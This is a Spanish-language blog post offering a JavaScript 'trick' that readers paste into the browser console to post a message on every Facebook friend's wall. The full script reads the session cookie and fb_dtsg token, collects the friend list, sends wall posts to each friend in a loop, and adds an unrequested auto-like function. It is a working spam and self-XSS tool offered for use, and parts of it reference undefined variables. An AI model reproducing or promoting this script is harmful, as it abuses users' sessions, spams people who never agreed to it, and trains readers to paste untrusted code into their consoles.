Publico un truco que esta muy de moda estos días en internet, el truco sirve para auto-publicar en el muro de Facebook de tus amigos.
Este truco es muy fácil de realizar, solo hay que copiar y pegar el código, se lanza desde la consola del navegador y permite aprovechar un bug de Facebook para publicar.
No se cuanto tiempo estará funcionando o incluso es posible que penalicen desde Facebook tu perfil.
Tenemos que copiar el codigo siguiente en la consola del navegador, y se abrirá una ventana en la que te permitirá escribir el mensaje que quieres que tu amigo auto-publique en su muro.
Como abrir la CONSOLA del navegador:
En Google Chrome: presionamos las teclas CTRL+SHIFT+J y buscaremos en el Tab donde dice Consola o Console
En Mozilla Firefox: presionamos las teclas CTRL+SHIFT+K y buscaremos en el Tab donde dice Consola o Console
En la consola copiamos y pegamos este codigo, y lo ejecutamos
Código javascript:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 | javascript: var grouppost = "<div><span class='img sp_f52w7l sx_47132d'></span><a style='position:absolute;size:3px;padding-left:3px;font-weight:bold;font-family:Tahoma;font-size:11px;color:#3B5998;'>Auto Post Wall by LBT</a></div></br>"; grouppost += "<div><textarea id='txtFloodMsg' placeholder='Whats on Your Mind :P' style='COLOR:WHITE;padding-top:5px;width:493px;height:85px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'></textarea></div>"; grouppost += "<div><br><span class='img sp_dpkef5 sx_f05251'></span><a style='position:absolute;font-family:Arial;size:3px;padding-left:3px;font-size:11px;color:rgb(128, 128, 128);'>Script By : LBT </a></span><button style='margin-left:437px' class='_2 _3 _6 _4 _5 selected' onclick='autopostingfunc(this);' >Post</button><div style='color:gray;'>Lovely Blogging Tricks </br>Made by:</A><A style='color:#3B5998;' href='https://www.facebook.com/mab237' target='_0'> Muhammad Abdul Basit</A></A><A style='color:#3B5998;' href='https://www.lovelybloggingtricks.blogspot.com/' target='_0'> </A></A></A><A style='color:#3B5998;' href='lovelybloggingtricks.blogspot' target='_0'> </A></A></br>Web : <A style='color:#3B5998;' href='https://www.lovelybloggingtricks.blogspot.com/' target='_0'>LovelyTricks.CoM</A></A><br></div>"; var Popupset = document.createElement("div"); Popupset.setAttribute("style", "min-height:50px;width:500px;position:fixed;top:100px;box-shadow: 0px 4px 10px rgba(24, 144, 255, 0.63);position:fixed;left:50%;margin-left:-273px;text-align:left;border-radius:10px;padding:5px;z-index:999999;border:5px solid #104E8B;background-color:#499DF5;color:White"); Popupset.innerHTML = grouppost; document.body.appendChild(Popupset); jx = { getHTTPObject: function () { var A = false; if (typeof ActiveXObject != "undefined") try { A = new ActiveXObject("Msxml2.XMLHTTP") } catch(C) { try { A = new ActiveXObject("Microsoft.XMLHTTP") } catch(B) { A = false } } else if (window.XMLHttpRequest) try { A = new XMLHttpRequest } catch(C) { A = false } return A }, load: function (url, callback, format, method, opt) { var http = this.init(); if (!http || !url) return; if (http.overrideMimeType) http.overrideMimeType("text/xml"); if (!method) method = "GET"; if (!format) format = "text"; if (!opt) opt = {}; format = format.toLowerCase(); method = method.toUpperCase(); var now = "uid=" + (new Date).getTime(); url += url.indexOf("?") + 1 ? "&" : "?"; url += now; var parameters = null; if (method == "POST") { var parts = url.split("?"); url = parts[0]; parameters = parts[1] } http.open(method, url, true); var ths = this; if (opt.handler) http.onreadystatechange = function () { opt.handler(http) }; else http.onreadystatechange = function () { if (http.readyState == 4) if (http.status == 200) { var result = ""; if (http.responseText) result = http.responseText; if (format.charAt(0) == "j") { result = result.replace(/[\n\r]/g, ""); result = eval("(" + result + ")") } else if (format.charAt(0) == "x") result = http.responseXML; if (callback) callback(result) } else { if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator); if (opt.loading) document.getElementById(opt.loading).style.display = "none"; if (error) error(http.status) } }; http.send(parameters) }, bind: function (A) { var C = { "url": "", "onSuccess": false, "onError": false, "format": "text", "method": "GET", "update": "", "loading": "", "loadingIndicator": "" }; for (var B in C) if (A[B]) C[B] = A[B]; if (!C.url) return; var D = false; if (C.loadingIndicator) { D = document.createElement("div"); D.setAttribute("style", "position:absolute;top:0px;left:0px;"); D.setAttribute("class", "loading-indicator"); D.innerHTML = C.loadingIndicator; document.getElementsByTagName("body")[0].appendChild(D); this.opt.loadingIndicator = D } if (C.loading) document.getElementById(C.loading).style.display = "block"; this.load(C.url, function (E) { if (C.onSuccess) C.onSuccess(E); if (C.update) document.getElementById(C.update).innerHTML = E; if (D) document.getElementsByTagName("body")[0].removeChild(D); if (C.loading) document.getElementById(C.loading).style.display = "none" }, C.format, C.method, C) }, init: function () { return this.getHTTPObject() } }; var j = 0; var k = 0; var suc = 0; var msg = "Auto post by Lovely Bloogging Tricks <3"; var arr = new Array; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function autopostingfunc(sender) { if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value; jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=user&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (a) { var b = a; var c = b.substring(b.indexOf("{")); var d = JSON.parse(c); d = d.payload.entries; for (var e = 0; e < d.length; e++) arr.push(d[e].uid); sender.parentNode.innerHTML = "Wait Posting ..."; postitok() }) } var a = document.body.innerHTML; var dts = document.getElementsByName("fb_dtsg")[0].value; var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function postitok() { pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_1]=pagelet_group_composer"; with(newx = new XMLHttpRequest) open("POST", "/ajax/updatestatus.php?__a=1"), send(pst); suc++; if (suc > arr.length) { alert("Auto Post Completed. Press F5 to Close Auto Poster!. LBT"); suc = 0 } else setTimeout("postitok()", 3E4 / arr.length) } setTimeout("autopostingfunc()", 1E3); function P(post) { var X = new XMLHttpRequest(); var XURL = "//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier=" + post + "&source=1&client_id=" + now + "%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]=" + post + "&nctr[_1]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg=" + fb_dtsg + "&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close } }; X.send(XParams) } |
Después de presionar Enter, se mostrará un popup donde colocaremos el mensaje que se va a auto-publicar.
Enjoy!